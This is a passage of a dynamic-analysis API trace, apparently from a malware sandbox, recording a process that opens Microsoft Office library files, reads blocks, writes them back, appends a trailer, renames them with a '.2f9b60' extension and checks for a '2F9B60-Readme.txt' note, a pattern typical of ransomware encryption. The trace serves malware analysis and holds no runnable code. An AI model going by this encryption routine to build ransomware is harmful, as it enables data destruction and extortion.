0x1ce616f0 [0208.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263500 [0208.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263500) returned 1 [0208.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d520 [0208.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263500 [0208.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b30 [0208.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b30) returned 1 [0208.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0208.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x431ac760 [0208.787] sprintf (in: _Dest=0x431ac760, _Format="%c%c" | out: _Dest="28") returned 2 [0208.787] sprintf (in: _Dest=0x431ac762, _Format="%c%c" | out: _Dest="2d") returned 2 [0208.787] sprintf (in: _Dest=0x431ac764, _Format="%c%c" | out: _Dest="eb") returned 2 [0208.787] sprintf (in: _Dest=0x431ac766, _Format="%c%c" | out: _Dest="a8") returned 2 [0208.787] sprintf (in: _Dest=0x431ac768, _Format="%c%c" | out: _Dest="09") returned 2 [0208.787] sprintf (in: _Dest=0x431ac76a, _Format="%c%c" | out: _Dest="9b") returned 2 [0208.787] sprintf (in: _Dest=0x431ac76c, _Format="%c%c" | out: _Dest="f2") returned 2 [0208.787] sprintf (in: _Dest=0x431ac76e, _Format="%c%c" | out: _Dest="3b") returned 2 [0208.788] sprintf (in: _Dest=0x431ac770, _Format="%c%c" | out: _Dest="c4") returned 2 [0208.788] sprintf (in: _Dest=0x431ac772, _Format="%c%c" | out: _Dest="58") returned 2 [0208.788] sprintf (in: _Dest=0x431ac774, _Format="%c%c" | out: _Dest="c0") returned 2 [0208.788] sprintf (in: _Dest=0x431ac776, _Format="%c%c" | out: _Dest="2b") returned 2 [0208.788] sprintf (in: _Dest=0x431ac778, _Format="%c%c" | out: _Dest="33") returned 2 [0208.788] sprintf (in: _Dest=0x431ac77a, _Format="%c%c" | out: _Dest="9d") returned 2 [0208.788] sprintf (in: _Dest=0x431ac77c, _Format="%c%c" | out: _Dest="30") returned 2 [0208.788] sprintf (in: _Dest=0x431ac77e, _Format="%c%c" | out: _Dest="42") returned 2 [0208.788] sprintf (in: _Dest=0x431ac780, _Format="%c%c" | out: _Dest="83") returned 2 [0208.788] sprintf (in: _Dest=0x431ac782, _Format="%c%c" | out: _Dest="14") returned 2 [0208.788] sprintf (in: _Dest=0x431ac784, _Format="%c%c" | out: _Dest="2e") returned 2 [0208.788] sprintf (in: _Dest=0x431ac786, _Format="%c%c" | out: _Dest="8b") returned 2 [0208.788] sprintf (in: _Dest=0x431ac788, _Format="%c%c" | out: _Dest="d9") returned 2 [0208.788] sprintf (in: _Dest=0x431ac78a, _Format="%c%c" | out: _Dest="e6") returned 2 [0208.788] RtlInitAnsiString (in: DestinationString=0x2a51fca8, SourceString="282deba8099bf23bc458c02b339d304283142e8bd9e6" | out: DestinationString="282deba8099bf23bc458c02b339d304283142e8bd9e6") [0208.788] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a51fc78, SourceString="282deba8099bf23bc458c02b339d304283142e8bd9e6", AllocateDestinationString=1 | out: DestinationString="282deba8099bf23bc458c02b339d304283142e8bd9e6") returned 0x0 [0208.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x4319f3d0 [0208.789] wcscat (in: _Dest=0x431a6e00, _Source="282deba8099" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\282deba8099") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\282deba8099" [0208.789] wcscat (in: _Dest=0x431a6e00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\282deba8099.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\282deba8099.2f9b60" [0208.789] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\282deba8099.2f9b60", NtPathName=0x2a51fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\282deba8099.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x20278170 Thread: id = 1831 os_tid = 0xc38 [0132.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\analys32.xll")) returned 0x20 [0132.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", dwFileAttributes=0x20) returned 1 [0132.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\analys32.xll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b30 [0132.860] GetFileSizeEx (in: hFile=0x1b30, lpFileSize=0x2a82fb00 | out: lpFileSize=0x2a82fb00*=244576) returned 1 [0132.860] SetFilePointerEx (in: hFile=0x1b30, liDistanceToMove=0x3bb5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.860] ReadFile (in: hFile=0x1b30, lpBuffer=0x2a82fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a82fac8, lpOverlapped=0x0 | out: lpBuffer=0x2a82fa80*, lpNumberOfBytesRead=0x2a82fac8*=0x4, lpOverlapped=0x0) returned 1 [0132.862] SetFilePointerEx (in: hFile=0x1b30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ea0 [0132.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266c90 [0132.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266e70 [0132.863] NtQuerySystemTime (in: CurrentTime=0x2a82f9c0 | out: CurrentTime=0x2a82f9c0*=132462177380986000) returned 0x0 [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x13533ff9 [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0xad18cab [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x7b12ea12 [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x696e3287 [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x534da80b [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x380771ad [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x5238b702 [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x45f55bf7 [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x426898a0 [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x3c810c09 [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0xf7a0192 [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x2a8ec765 [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x794a50db [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x4056a4cf [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x202fce3f [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x53bb7d13 [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x199a346c [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x148ac476 [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x16dbcb27 [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x56fda037 [0132.863] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x494299a2 [0132.864] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x1036b7b6 [0132.864] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x4963aff9 [0132.864] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x711e8096 [0132.864] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x273cc0a3 [0132.864] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x5ab66aae [0132.864] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x19358786 [0132.864] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x30ac6a07 [0132.864] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x648bb702 [0132.864] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x730e87bf [0132.864] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x6bdebeaf [0132.864] RtlRandomEx (in: Seed=0x2a82f9b0 | out: Seed=0x2a82f9b0) returned 0x2a9ac2f2 [0132.874] SetFilePointerEx (in: hFile=0x1b30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.875] ReadFile (in: hFile=0x1b30, lpBuffer=0x41b2e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2a82fa20, lpOverlapped=0x0 | out: lpBuffer=0x41b2e130*, lpNumberOfBytesRead=0x2a82fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0132.876] SetFilePointerEx (in: hFile=0x1b30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd974e0 [0132.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0132.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ea0 [0132.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ea0) returned 1 [0132.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41bcc1b0 [0132.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ea0 [0132.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266e70 [0132.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266e70) returned 1 [0132.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0132.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0132.877] WriteFile (hFile=0x1b30, lpBuffer=0x41bcc1b0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2a82fa20, lpOverlapped=0x0) [0176.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bcc1b0) returned 1 [0176.622] SetFilePointerEx (in: hFile=0x1b30, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.622] ReadFile (in: hFile=0x1b30, lpBuffer=0x41b2e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2a82fa20, lpOverlapped=0x0 | out: lpBuffer=0x41b2e130*, lpNumberOfBytesRead=0x2a82fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0176.648] SetFilePointerEx (in: hFile=0x1b30, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0176.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0176.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7b50 [0176.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7b50) returned 1 [0176.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423b9930 [0176.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7b50 [0176.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7a30 [0176.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7a30) returned 1 [0176.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0176.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0176.651] WriteFile (in: hFile=0x1b30, lpBuffer=0x423b9930*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2a82fa20, lpOverlapped=0x0 | out: lpBuffer=0x423b9930*, lpNumberOfBytesWritten=0x2a82fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0194.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423b9930) returned 1 [0194.149] SetFilePointerEx (in: hFile=0x1b30, liDistanceToMove=0x37f60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.149] ReadFile (in: hFile=0x1b30, lpBuffer=0x41b2e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2a82fa20, lpOverlapped=0x0 | out: lpBuffer=0x41b2e130*, lpNumberOfBytesRead=0x2a82fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0194.298] SetFilePointerEx (in: hFile=0x1b30, liDistanceToMove=0x37f60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe880 [0194.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a240 [0194.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a240) returned 1 [0194.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423bd540 [0194.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a240 [0194.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a270 [0194.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a270) returned 1 [0194.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe880) returned 1 [0194.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.305] WriteFile (in: hFile=0x1b30, lpBuffer=0x423bd540*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2a82fa20, lpOverlapped=0x0 | out: lpBuffer=0x423bd540*, lpNumberOfBytesWritten=0x2a82fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0204.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423bd540) returned 1 [0204.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319edb0 [0204.740] SetFilePointerEx (in: hFile=0x1b30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0204.740] WriteFile (in: hFile=0x1b30, lpBuffer=0x431f54e0*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x2a82fad0, lpOverlapped=0x0 | out: lpBuffer=0x431f54e0*, lpNumberOfBytesWritten=0x2a82fad0*=0x14a, lpOverlapped=0x0) returned 1 [0215.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61560 [0215.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebbbe0 [0215.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7b80 [0215.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7b80) returned 1 [0215.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0215.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7b80 [0215.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7b50 [0215.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7b50) returned 1 [0215.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebbbe0) returned 1 [0215.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0215.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ac7e0 [0215.908] sprintf (in: _Dest=0x431ac7e0, _Format="%c%c" | out: _Dest="85") returned 2 [0215.908] sprintf (in: _Dest=0x431ac7e2, _Format="%c%c" | out: _Dest="97") returned 2 [0215.908] sprintf (in: _Dest=0x431ac7e4, _Format="%c%c" | out: _Dest="8d") returned 2 [0215.908] sprintf (in: _Dest=0x431ac7e6, _Format="%c%c" | out: _Dest="ff") returned 2 [0215.908] sprintf (in: _Dest=0x431ac7e8, _Format="%c%c" | out: _Dest="09") returned 2 [0215.908] sprintf (in: _Dest=0x431ac7ea, _Format="%c%c" | out: _Dest="82") returned 2 [0215.908] sprintf (in: _Dest=0x431ac7ec, _Format="%c%c" | out: _Dest="af") returned 2 [0215.908] sprintf (in: _Dest=0x431ac7ee, _Format="%c%c" | out: _Dest="19") returned 2 [0215.908] sprintf (in: _Dest=0x431ac7f0, _Format="%c%c" | out: _Dest="6d") returned 2 [0215.908] sprintf (in: _Dest=0x431ac7f2, _Format="%c%c" | out: _Dest="b3") returned 2 [0215.908] sprintf (in: _Dest=0x431ac7f4, _Format="%c%c" | out: _Dest="d0") returned 2 [0215.908] sprintf (in: _Dest=0x431ac7f6, _Format="%c%c" | out: _Dest="78") returned 2 [0215.908] sprintf (in: _Dest=0x431ac7f8, _Format="%c%c" | out: _Dest="34") returned 2 [0215.908] sprintf (in: _Dest=0x431ac7fa, _Format="%c%c" | out: _Dest="b9") returned 2 [0215.908] sprintf (in: _Dest=0x431ac7fc, _Format="%c%c" | out: _Dest="f8") returned 2 [0215.908] sprintf (in: _Dest=0x431ac7fe, _Format="%c%c" | out: _Dest="ad") returned 2 [0215.908] sprintf (in: _Dest=0x431ac800, _Format="%c%c" | out: _Dest="f5") returned 2 [0215.908] sprintf (in: _Dest=0x431ac802, _Format="%c%c" | out: _Dest="b1") returned 2 [0215.908] sprintf (in: _Dest=0x431ac804, _Format="%c%c" | out: _Dest="55") returned 2 [0215.908] sprintf (in: _Dest=0x431ac806, _Format="%c%c" | out: _Dest="18") returned 2 [0215.908] sprintf (in: _Dest=0x431ac808, _Format="%c%c" | out: _Dest="b3") returned 2 [0215.908] sprintf (in: _Dest=0x431ac80a, _Format="%c%c" | out: _Dest="f9") returned 2 [0215.908] sprintf (in: _Dest=0x431ac80c, _Format="%c%c" | out: _Dest="40") returned 2 [0215.908] sprintf (in: _Dest=0x431ac80e, _Format="%c%c" | out: _Dest="a5") returned 2 [0215.908] RtlInitAnsiString (in: DestinationString=0x2a82fb48, SourceString="85978dff0982af196db3d07834b9f8adf5b15518b3f940a5" | out: DestinationString="85978dff0982af196db3d07834b9f8adf5b15518b3f940a5") [0215.908] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a82fb18, SourceString="85978dff0982af196db3d07834b9f8adf5b15518b3f940a5", AllocateDestinationString=1 | out: DestinationString="85978dff0982af196db3d07834b9f8adf5b15518b3f940a5") returned 0x0 [0215.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319fde0 [0215.909] wcscat (in: _Dest=0x1ce17370, _Source="85978dff0982" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\85978dff0982") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\85978dff0982" [0215.909] wcscat (in: _Dest=0x1ce17370, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\85978dff0982.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\85978dff0982.2f9b60" [0215.909] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\85978dff0982.2f9b60", NtPathName=0x2a82faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\85978dff0982.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x4310bde0 [0232.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310bde0) returned 1 [0232.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b5d40) returned 1 [0232.381] NtQueryInformationFile (in: FileHandle=0x1b30, IoStatusBlock=0x2a82fb58, FileInformation=0x2a82fb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a82fb58, FileInformation=0x2a82fb68) returned 0x0 [0232.381] NtSetInformationFile (FileHandle=0x1b30, IoStatusBlock=0x2a82fb58, FileInformation=0x2a82fb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0236.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce17370) returned 1 [0236.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319fde0) returned 1 [0236.022] FlushFileBuffers (hFile=0x1b30) returned 1 [0238.187] CloseHandle (hObject=0x1b30) returned 1 [0240.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd64e70 [0240.501] wcscpy (in: _Dest=0x1cd64e70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" [0240.501] wcscat (in: _Dest=0x1cd64e70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\2F9B60-Readme.txt" [0240.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\2f9b60-readme.txt")) returned 0x20 [0240.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64e70) returned 1 [0240.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d050) returned 1 Thread: id = 1832 os_tid = 0xeb4 [0132.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\atpvbaen.xlam")) returned 0x20 [0132.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM", dwFileAttributes=0x20) returned 1 [0132.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\atpvbaen.xlam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b34 [0132.883] GetFileSizeEx (in: hFile=0x1b34, lpFileSize=0x2a8bfd80 | out: lpFileSize=0x2a8bfd80*=57543) returned 1 [0132.883] SetFilePointerEx (in: hFile=0x1b34, liDistanceToMove=0xe0c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.883] ReadFile (in: hFile=0x1b34, lpBuffer=0x2a8bfd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a8bfd48, lpOverlapped=0x0 | out: lpBuffer=0x2a8bfd00*, lpNumberOfBytesRead=0x2a8bfd48*=0x4, lpOverlapped=0x0) returned 1 [0132.887] SetFilePointerEx (in: hFile=0x1b34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266e70 [0132.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d50 [0132.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266db0 [0132.888] NtQuerySystemTime (in: CurrentTime=0x2a8bfc40 | out: CurrentTime=0x2a8bfc40*=132462177381298000) returned 0x0 [0132.888] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x61bd3974 [0132.888] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x3e3d07be [0132.888] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x7b513b90 [0132.888] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x391b2f15 [0132.888] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x7cb3efc7 [0132.888] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x5a503909 [0132.888] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x1e6b14d6 [0132.888] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x1cd13462 [0132.888] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x4d883444 [0132.888] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x1f5faa4 [0132.888] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x29054e96 [0132.888] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x2fe7aa0c [0132.888] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x17bce071 [0132.888] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x66e28fd7 [0132.888] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x25aa3a3d [0132.889] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x79e8692c [0132.889] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x6128cc1a [0132.889] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x43f043fb [0132.889] 